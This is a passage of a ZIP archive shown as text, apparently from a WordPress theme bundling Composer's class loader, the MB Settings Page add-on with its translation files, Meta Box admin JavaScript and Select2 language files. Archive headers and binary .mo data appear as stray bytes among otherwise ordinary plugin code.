                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string       $prefix The prefix
     * @param array|string $paths  The PSR-0 base directories
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string       $prefix The prefix/namespace, with trailing '\\'
     * @param array|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);
    }

    /**
     * Unregisters this instance as an autoloader.
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return bool|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 */
function includeFile($file)
{
    include $file;
}
PK     N\       D  inc/dashboard/lib/mb-settings-page/vendor/composer/autoload_psr4.phpnu [        <?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'MBSP\\' => array($baseDir . '/src'),
);
PK     N\tq      H  inc/dashboard/lib/mb-settings-page/vendor/composer/autoload_classmap.phpnu [        <?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'RWMB_Backup_Field' => $baseDir . '/src/BackupField.php',
);
PK     N\Ο*  *  F  inc/dashboard/lib/mb-settings-page/languages/mb-settings-page-pt-br.ponu [        # This file was generated by WPML
# WPML is a WordPress plugin that can turn any WordPress or WordPressMU site into a full featured multilingual content management system.
# https://wpml.org
msgid ""
msgstr ""
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Project-Id-Version: WPML_EXPORT_mb-settings-page\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"X-Generator: Poedit 2.1.1\n"

# wpml-name: 9a7e58ee13cb727cb7c4acc68f4cafe5
#: 'tabs' => array(), 'submit_button' __( 'Save Settings', 'mb-settings-page'
#: ), 'message' 'Settings saved.',
msgid "Settings saved."
msgstr "Configurações salvas."

# wpml-name: 9daf1fb753b42c3cdc8f1d01669cd6d8
msgid "Save Settings"
msgstr "Salvar configurações"

# wpml-name: 5b28ee398da148313e912a0c08d76ba4
msgid "1.3.3"
msgstr "1.3.3"

# wpml-name: 9cd994a14d882bd9e4681ffad56da232
msgid "https://metabox.io"
msgstr "https://metabox.io"

# wpml-name: f76b5fbe021228cbcf62b723f78e5bef
msgid "MetaBox.io"
msgstr "MetaBox.io"

# wpml-name: afb4f822fe0792916d89ab38a9c734e3
msgid "Add-on for meta box plugin which helps you create settings pages easily."
msgstr "Complemento para o plugin Meta Box, que ajuda você a criar facilmente as páginas de configurações."

# wpml-name: 68461e080d916091b247f5efdcc4bd05
msgid "https://metabox.io/plugins/mb-settings-page/"
msgstr "https://metabox.io/plugins/mb-settings-page/"

# wpml-name: b97dd6111e5b70bc5dc2e65257d5fdb5
msgid "MB Settings Page"
msgstr "MB Settings Page"
PK     N\%5    C  inc/dashboard/lib/mb-settings-page/languages/mb-settings-page-vi.monu [                  4      L       `      a      o              "                       Save Settings Settings saved. Project-Id-Version: MB Settings Page 1.1.3
Report-Msgid-Bugs-To: http://wordpress.org/support/plugin/meta-box
POT-Creation-Date: 2016-06-07 08:53+0700
PO-Revision-Date: 2016-06-07 08:53+0700
Last-Translator: 
Language-Team: Meta Box <admin@metabox.io>
Language: vi
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Poedit 1.8.8
X-Poedit-KeywordsList: __;_x;_e;_ex;_n;_nx;esc_attr__;esc_attr_e;esc_attr_x;esc_html__;esc_html_e;esc_html_x;_n_noop;_nx_noop
X-Poedit-Basepath: ..
Plural-Forms: nplurals=1; plural=0;
X-Poedit-SearchPath-0: .
X-Poedit-SearchPathExcluded-0: js
X-Poedit-SearchPathExcluded-1: demo
X-Poedit-SearchPathExcluded-2: tests
X-Poedit-SearchPathExcluded-3: css
X-Poedit-SearchPathExcluded-4: lang
 Lưu thiết lập Thiết đặt đã được lưu. PK     N\f  f  C  inc/dashboard/lib/mb-settings-page/languages/mb-settings-page-vi.ponu [        # <!=Copyright (C) 2014 Rilwis
# This file is distributed under the GPL2+.=!>
msgid ""
msgstr ""
"Project-Id-Version: MB Settings Page 1.1.3\n"
"Report-Msgid-Bugs-To: http://wordpress.org/support/plugin/meta-box\n"
"POT-Creation-Date: 2016-06-07 08:53+0700\n"
"PO-Revision-Date: 2016-06-07 08:53+0700\n"
"Last-Translator: \n"
"Language-Team: Meta Box <admin@metabox.io>\n"
"Language: vi\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.8.8\n"
"X-Poedit-KeywordsList: __;_x;_e;_ex;_n;_nx;esc_attr__;esc_attr_e;esc_attr_x;"
"esc_html__;esc_html_e;esc_html_x;_n_noop;_nx_noop\n"
"X-Poedit-Basepath: ..\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: js\n"
"X-Poedit-SearchPathExcluded-1: demo\n"
"X-Poedit-SearchPathExcluded-2: tests\n"
"X-Poedit-SearchPathExcluded-3: css\n"
"X-Poedit-SearchPathExcluded-4: lang\n"

#: inc/settings-page.php:163
msgid "Save Settings"
msgstr "Lưu thiết lập"

#: inc/settings-page.php:224
msgid "Settings saved."
msgstr "Thiết đặt đã được lưu."
PK     N\/i    8  inc/dashboard/lib/mb-settings-page/languages/default.potnu [        # <!=Copyright (C) 2014 Rilwis
# This file is distributed under the GPL2+.=!>
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: MB Settings Page 1.1.3\n"
"Report-Msgid-Bugs-To: http://wordpress.org/support/plugin/meta-box\n"
"POT-Creation-Date: 2016-06-06 10:52+0700\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"PO-Revision-Date: 2014-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: Meta Box <admin@metabox.io>\n"
"X-Generator: Poedit 1.8.8\n"
"X-Poedit-KeywordsList: __;_x;_e;_ex;_n;_nx;esc_attr__;esc_attr_e;esc_attr_x;esc_html__;esc_html_e;esc_html_x;_n_noop;_nx_noop\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: js\n"
"X-Poedit-SearchPathExcluded-1: demo\n"
"X-Poedit-SearchPathExcluded-2: tests\n"
"X-Poedit-SearchPathExcluded-3: css\n"
"X-Poedit-SearchPathExcluded-4: lang\n"

#: inc/settings-page.php:163
msgid "Save Settings"
msgstr ""

#: inc/settings-page.php:224
msgid "Settings saved."
msgstr ""
PK     N\0le    F  inc/dashboard/lib/mb-settings-page/languages/mb-settings-page-pt-br.monu [            	      d                      H         0  
   A     L     Z     j  ,   }            f          
   '     2     I     a  ,   t                                   	           1.3.3 Add-on for meta box plugin which helps you create settings pages easily. MB Settings Page MetaBox.io Save Settings Settings saved. https://metabox.io https://metabox.io/plugins/mb-settings-page/ Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
Project-Id-Version: WPML_EXPORT_mb-settings-page
POT-Creation-Date: 
PO-Revision-Date: 
Last-Translator: 
Language-Team: 
Language: pt_BR
MIME-Version: 1.0
X-Generator: Poedit 2.1.1
 1.3.3 Complemento para o plugin Meta Box, que ajuda você a criar facilmente as páginas de configurações. MB Settings Page MetaBox.io Salvar configurações Configurações salvas. https://metabox.io https://metabox.io/plugins/mb-settings-page/ PK     N\    7  inc/dashboard/lib/mb-settings-page/mb-settings-page.phpnu [        <?php
/**
 * Plugin Name: MB Settings Page
 * Plugin URI:  https://metabox.io/plugins/mb-settings-page/
 * Description: Add-on for meta box plugin which helps you create settings pages easily.
 * Version:     2.1.2
 * Author:      MetaBox.io
 * Author URI:  https://metabox.io
 * License:     GPL2+
 * Text Domain: mb-settings-page
 * Domain Path: /languages/
 *
 * @package Meta Box
 * @subpackage MB Settings Page
 */

// Prevent loading this file directly.
defined( 'ABSPATH' ) || die;

if ( ! function_exists( 'mb_settings_page_load' ) ) {
	if ( file_exists( __DIR__ . '/vendor' ) ) {
		require __DIR__ . '/vendor/autoload.php';
	}

	/**
	 * Hook to 'init' with priority 5 to make sure all actions are registered before Meta Box 4.9.0 runs
	 */
	add_action( 'init', 'mb_settings_page_load', 5 );

	/**
	 * Load plugin files after Meta Box is loaded
	 */
	function mb_settings_page_load() {
		if ( ! defined( 'RWMB_VER' ) ) {
			return;
		}

		list( , $url ) = \RWMB_Loader::get_path( __DIR__ );
		define( 'MBSP_URL', $url );

		new MBSP\Loader;
		new MBSP\Customizer\Manager;

		load_plugin_textdomain( 'mb-settings-page', false, plugin_basename( __DIR__ ) . '/languages/' );
	}
}
PK     N\Ip  p  '  inc/dashboard/lib/meta-box/js/oembed.jsnu [        ( function ( $, _, rwmb ) {
	'use strict';

	/**
	 * Show preview of oembeded media.
	 */
	function showPreview( e ) {
		e.preventDefault();

		var $this = $( this ),
			$spinner = $this.siblings( '.spinner' ),
			data = {
				action: 'rwmb_get_embed',
				url: this.value,
				_ajax_nonce: rwmbOembed.nonce,
				not_available: $this.data( 'not-available' ),
			};

		$spinner.css( 'visibility', 'visible' );
		$.post( ajaxurl, data, function ( response ) {
			$spinner.css( 'visibility', 'hidden' );
			$this.siblings( '.rwmb-embed-media' ).html( response.data );
		}, 'json' );
	}

	/**
	 * Remove oembed preview when cloning.
	 */
	function removePreview() {
		$( this ).siblings( '.rwmb-embed-media' ).html( '' );
	}

	rwmb.$document
		.on( 'change', '.rwmb-oembed', _.debounce( showPreview, 250 ) )
	    .on( 'clone', '.rwmb-oembed', removePreview );
} )( jQuery, _, rwmb );
PK     N\ ;    '  inc/dashboard/lib/meta-box/js/slider.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function transform() {
		var $input  = $( this ),
			$slider = $input.siblings( '.rwmb-slider-ui' ),
			$label  = $slider.siblings( '.rwmb-slider-label' ).find( 'span' ),
			value   = $input.val(),
			options = $slider.data( 'options' );

		$slider.html( '' );
		$label.text( value );

		if ( true === options.range ) {
			value = value.split( '|' );
			options.values = value;
		} else {
			options.value = value;
		}

		options.slide = function ( event, ui ) {
			var value = ui.value;
			if ( options.range === true ) {
				value = ui.values[ 0 ] + '|' + ui.values[ 1 ];
			}

			$input.val( value ).trigger( 'change' );
			$label.html( value );
		};

		$slider.slider( options );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-slider' ).each( transform );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-slider', transform );
} )( jQuery, rwmb );
PK     N\S
    &  inc/dashboard/lib/meta-box/js/modal.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	const $body = $( 'body' );

	const defaultOptions = {
		wrapper: `<div class="rwmb-modal">
			<div class="rwmb-modal-title">
				<h2></h2>
				<button type="button" class="rwmb-modal-close">&times;</button>
			</div>
			<div class="rwmb-modal-content"></div>
		</div>`,
		markupIframe: '<iframe id="rwmb-modal-iframe" width="100%" height="700" src="{URL}" border="0"></iframe>',
		markupOverlay: '<div class="rwmb-modal-overlay"></div>',
		removeElement: '',
		removeElementDefault: '#adminmenumain, #wpadminbar, #wpfooter, .row-actions, .form-wrap.edit-term-notes, #screen-meta-links, .wp-heading-inline, .wp-header-end',
		callback: null,
		closeModalCallback: null,
		isBlockEditor: false,
		$objectId: null,
		$objectDisplay: null
	};

	$.fn.rwmbModal = function ( options = {} ) {
		options = {
			...defaultOptions,
			...options
		};

		if ( $( '.rwmb-modal' ).length === 0 ) {
			return;
		}

		const $this = $( this ),
			$modal = $( '.rwmb-modal' );

		let $input = $this.closest( '.rwmb-input' );
		if ( $input.find( '.rwmb-clone' ).length > 0 && $this.closest( '.rwmb-clone' ).length > 0 ) {
			$input = $this.closest( '.rwmb-clone' );
		}

		$this.click( function ( e ) {
			e.preventDefault();

			$modal.find( '.rwmb-modal-title h2' ).html( $this.html() );
			$modal.find( '.rwmb-modal-content' ).html( options.markupIframe.replace( '{URL}', $this.data( 'url' ) ) );
			$( '#rwmb-modal-iframe' ).on( 'load', function () {
				const $contents = $( this ).contents();
				options.isBlockEditor = $contents.find( 'body' ).hasClass( 'block-editor-page' );

				if ( options.removeElement !== '' ) {
					$contents.find( options.removeElement ).remove();
				}

				$modal.find( '.rwmb-modal-title' ).css( 'background-color', '' );
				if ( options.isBlockEditor ) {
					$modal.find( '.rwmb-modal-title' ).css( 'background-color', '#fff' );
				}

				$contents
					.find( options.removeElementDefault ).remove().end()
					.find( '.rwmb-modal-add-button' ).parent().remove();
				$contents.find( 'html' ).css( 'padding-top', 0 ).end()
					.find( '#wpcontent' ).css( 'margin-left', 0 ).end()
					.find( 'a' ).on( 'click', e => e.preventDefault() );

				if ( options.callback !== null && typeof options.callback === 'function' ) {
					options.callback( $modal, $contents );
				}

				$body.addClass( 'rwmb-modal-show' );
				$( '.rwmb-modal-overlay' ).fadeIn( 'medium' );
				$modal.fadeIn( 'medium' );

				return false;
			} );

			$( '.rwmb-modal-close' ).on( 'click', function ( event ) {
				if ( options.closeModalCallback !== null && typeof options.closeModalCallback === 'function' ) {
					options.closeModalCallback( $( '#rwmb-modal-iframe' ).contents(), $input );
				}

				$modal.fadeOut( 'medium' );
				$( '.rwmb-modal-overlay' ).fadeOut( 'medium' );
				$body.removeClass( 'rwmb-modal-show' );

				// If not add new
				if ( !options.$objectId || !options.$objectDisplay ) {
					$( this ).off( event );
					return;
				}

				// Select, select advanced, select tree.
				const $select = $input.find( 'select' );
				if ( $select.length > 0 ) {
					$select.prepend( $( '<option>', {
						value: options.$objectId,
						text: options.$objectDisplay,
						selected: true
					} ) );

					$( this ).off( event );
					return;
				}

				// Radio, checkbox list, checkbox tree
				const $inputList = $input.find( '.rwmb-input-list:first' ),
					$labelClone = $inputList.find( '> label:first' ).clone(),
					$inputClone = $labelClone.find( 'input' ).clone();

				$labelClone.html(
					$inputClone.val( options.$objectId )
						.attr( 'checked', true )
						.prop( 'outerHTML' ) + options.$objectDisplay
				);
				$inputList.prepend( $labelClone );

				// Clear event after close modal.
				options.$objectId = null;
				options.$objectDisplay = null;
				$( this ).off( event );
			} );
		} );
	};

	if ( $( '.rwmb-modal' ).length === 0 ) {
		$body.append( defaultOptions.wrapper )
			.append( defaultOptions.markupOverlay );
	}

} )( jQuery, rwmb );PK     N\    -  inc/dashboard/lib/meta-box/js/button-group.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function setActiveClass() {
		var $this = $( this ),
			$input = $this.find( 'input' ),
			$label = $input.parent();

		if ( $input.prop( 'checked' ) ) {
			$label.addClass( 'selected' );
		} else {
			$label.removeClass( 'selected' );
		}
	}

	function clickHandler() {
		var $this = $( this ),
			$input = $this.find( 'input' ),
			$label = $input.parent(),
			type = $input.attr( 'type' ),
			$allLabels = $this.parent().find( 'label' );
		if ( ! $input.prop( 'checked' ) ) {
			$label.removeClass( 'selected' );
			return;
		}
		$label.addClass( 'selected' );

		if ( 'radio' === type ) {
			$allLabels.removeClass( 'selected' );
			$label.addClass( 'selected' );
		}
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-button-input-list label' ).each( setActiveClass );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'click', '.rwmb-button-input-list label', clickHandler )
		.on( 'clone', '.rwmb-button-input-list label', setActiveClass );
} )( jQuery, rwmb );
PK     N\ y  y  +  inc/dashboard/lib/meta-box/js/file-input.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var frame;

	function openSelectPopup( e ) {
		e.preventDefault();
		var $el = $( this );

		// Create a frame only if needed
		if ( ! frame ) {
			frame = wp.media( {
				className: 'media-frame rwmb-file-frame',
				multiple: false,
				title: rwmbFileInput.frameTitle
			} );
		}

		// Open media uploader
		frame.open();

		// Remove all attached 'select' event
		frame.off( 'select' );

		// Handle selection
		frame.on( 'select', function () {
			var url = frame.state().get( 'selection' ).first().toJSON().url;
			$el.siblings( 'input' ).val( url ).trigger( 'change' ).siblings( 'a' ).removeClass( 'hidden' );
		} );
	}

	function changeValueInput( e ) {
		e.preventDefault();
		var $el = $( this ),
			url = $el.val(),
			fileType = url.split( '.' ).pop().toLowerCase(),
			imageTypes = [ 'gif', 'jpeg', 'png', 'jpg' ],
			validImageTypes = imageTypes.includes( fileType );

		if ( validImageTypes ) {
			$el.closest( '.rwmb-file-input-inner' ).siblings( '.rwmb-file-input-image' ).removeClass( 'rwmb-file-input-hidden' ).find( 'img' ).attr( 'src', url );
		} else {
			$el.closest( '.rwmb-file-input-inner' ).siblings( '.rwmb-file-input-image' ).addClass( 'rwmb-file-input-hidden' );
		}
	}

	function clearSelection( e ) {
		e.preventDefault();
		$( this ).addClass( 'hidden' ).siblings( 'input' ).val( '' ).trigger( 'change' );
		$( this ).closest( '.rwmb-file-input-inner' ).siblings( '.rwmb-file-input-image' ).addClass( 'rwmb-file-input-hidden' );
	}

	function hideRemoveButtonWhenCloning() {
		$( this ).siblings( '.rwmb-file-input-remove' ).addClass( 'hidden' );
	}

	rwmb.$document
		.on( 'click', '.rwmb-file-input-select', openSelectPopup )
		.on( 'input change', '.rwmb-file_input', changeValueInput )
		.on( 'click', '.rwmb-file-input-remove', clearSelection )
		.on( 'clone', '.rwmb-file_input', hideRemoveButtonWhenCloning );
} )( jQuery, rwmb );
PK     N\+    '  inc/dashboard/lib/meta-box/js/script.jsnu [        // Global object for shared functions and data.
window.rwmb = window.rwmb || {};

( function( $, document, rwmb ) {
	'use strict';

	// Selectors for all plugin inputs.
	rwmb.inputSelectors = 'input[class*="rwmb"], textarea[class*="rwmb"], select[class*="rwmb"], button[class*="rwmb"]';

	// Detect Gutenberg.
	rwmb.isGutenberg = document.body.classList.contains( 'block-editor-page' );

	// Generate unique ID.
	rwmb.uniqid = () => Math.random().toString( 36 ).substr( 2 );

	// Trigger a custom ready event for all scripts to hook to.
	// Used for static DOM and dynamic DOM (loaded in MB Blocks extension for Gutenberg).
	rwmb.$document = $( document );

	$( function() {
		rwmb.$document.trigger( 'mb_ready' );
	} );
} )( jQuery, document, rwmb );PK     N\    1  inc/dashboard/lib/meta-box/js/select2/i18n/dsb.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/dsb",[],function(){var n=["znamuško","znamušce","znamuška","znamuškow"],e=["zapisk","zapiska","zapiski","zapiskow"],u=function(n,e){return 1===n?e[0]:2===n?e[1]:n>2&&n<=4?e[2]:n>=5?e[3]:void 0};return{errorLoading:function(){return"Wuslědki njejsu se dali zacytaś."},inputTooLong:function(e){var a=e.input.length-e.maximum;return"Pšosym lašuj "+a+" "+u(a,n)},inputTooShort:function(e){var a=e.minimum-e.input.length;return"Pšosym zapódaj nanejmjenjej "+a+" "+u(a,n)},loadingMore:function(){return"Dalšne wuslědki se zacytaju…"},maximumSelected:function(n){return"Móžoš jano "+n.maximum+" "+u(n.maximum,e)+"wubraś."},noResults:function(){return"Žedne wuslědki namakane"},searching:function(){return"Pyta se…"},removeAllItems:function(){return"Remove all items"}}}),n.define,n.require}();PK     N\    0  inc/dashboard/lib/meta-box/js/select2/i18n/tr.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/tr",[],function(){return{errorLoading:function(){return"Sonuç yüklenemedi"},inputTooLong:function(n){return n.input.length-n.maximum+" karakter daha girmelisiniz"},inputTooShort:function(n){return"En az "+(n.minimum-n.input.length)+" karakter daha girmelisiniz"},loadingMore:function(){return"Daha fazla…"},maximumSelected:function(n){return"Sadece "+n.maximum+" seçim yapabilirsiniz"},noResults:function(){return"Sonuç bulunamadı"},searching:function(){return"Aranıyor…"},removeAllItems:function(){return"Tüm öğeleri kaldır"}}}),n.define,n.require}();PK     N\2  2  0  inc/dashboard/lib/meta-box/js/select2/i18n/th.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/th",[],function(){return{errorLoading:function(){return"ไม่สามารถค้นข้อมูลได้"},inputTooLong:function(n){return"โปรดลบออก "+(n.input.length-n.maximum)+" ตัวอักษร"},inputTooShort:function(n){return"โปรดพิมพ์เพิ่มอีก "+(n.minimum-n.input.length)+" ตัวอักษร"},loadingMore:function(){return"กำลังค้นข้อมูลเพิ่ม…"},maximumSelected:function(n){return"คุณสามารถเลือกได้ไม่เกิน "+n.maximum+" รายการ"},noResults:function(){return"ไม่พบข้อมูล"},searching:function(){return"กำลังค้นข้อมูล…"},removeAllItems:function(){return"ลบรายการทั้งหมด"}}}),n.define,n.require}();PK     N\`<  <  0  inc/dashboard/lib/meta-box/js/select2/i18n/da.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/da",[],function(){return{errorLoading:function(){return"Resultaterne kunne ikke indlæses."},inputTooLong:function(e){return"Angiv venligst "+(e.input.length-e.maximum)+" tegn mindre"},inputTooShort:function(e){return"Angiv venligst "+(e.minimum-e.input.length)+" tegn mere"},loadingMore:function(){return"Indlæser flere resultater…"},maximumSelected:function(e){var n="Du kan kun vælge "+e.maximum+" emne";return 1!=e.maximum&&(n+="r"),n},noResults:function(){return"Ingen resultater fundet"},searching:function(){return"Søger…"},removeAllItems:function(){return"Fjern alle elementer"}}}),e.define,e.require}();PK     N\]X8n  n  0  inc/dashboard/lib/meta-box/js/select2/i18n/pt.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/pt",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var r=e.input.length-e.maximum,n="Por favor apague "+r+" ";return n+=1!=r?"caracteres":"caractere"},inputTooShort:function(e){return"Introduza "+(e.minimum-e.input.length)+" ou mais caracteres"},loadingMore:function(){return"A carregar mais resultados…"},maximumSelected:function(e){var r="Apenas pode seleccionar "+e.maximum+" ";return r+=1!=e.maximum?"itens":"item"},noResults:function(){return"Sem resultados"},searching:function(){return"A procurar…"},removeAllItems:function(){return"Remover todos os itens"}}}),e.define,e.require}();PK     N\)ܛ    1  inc/dashboard/lib/meta-box/js/select2/i18n/hsb.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

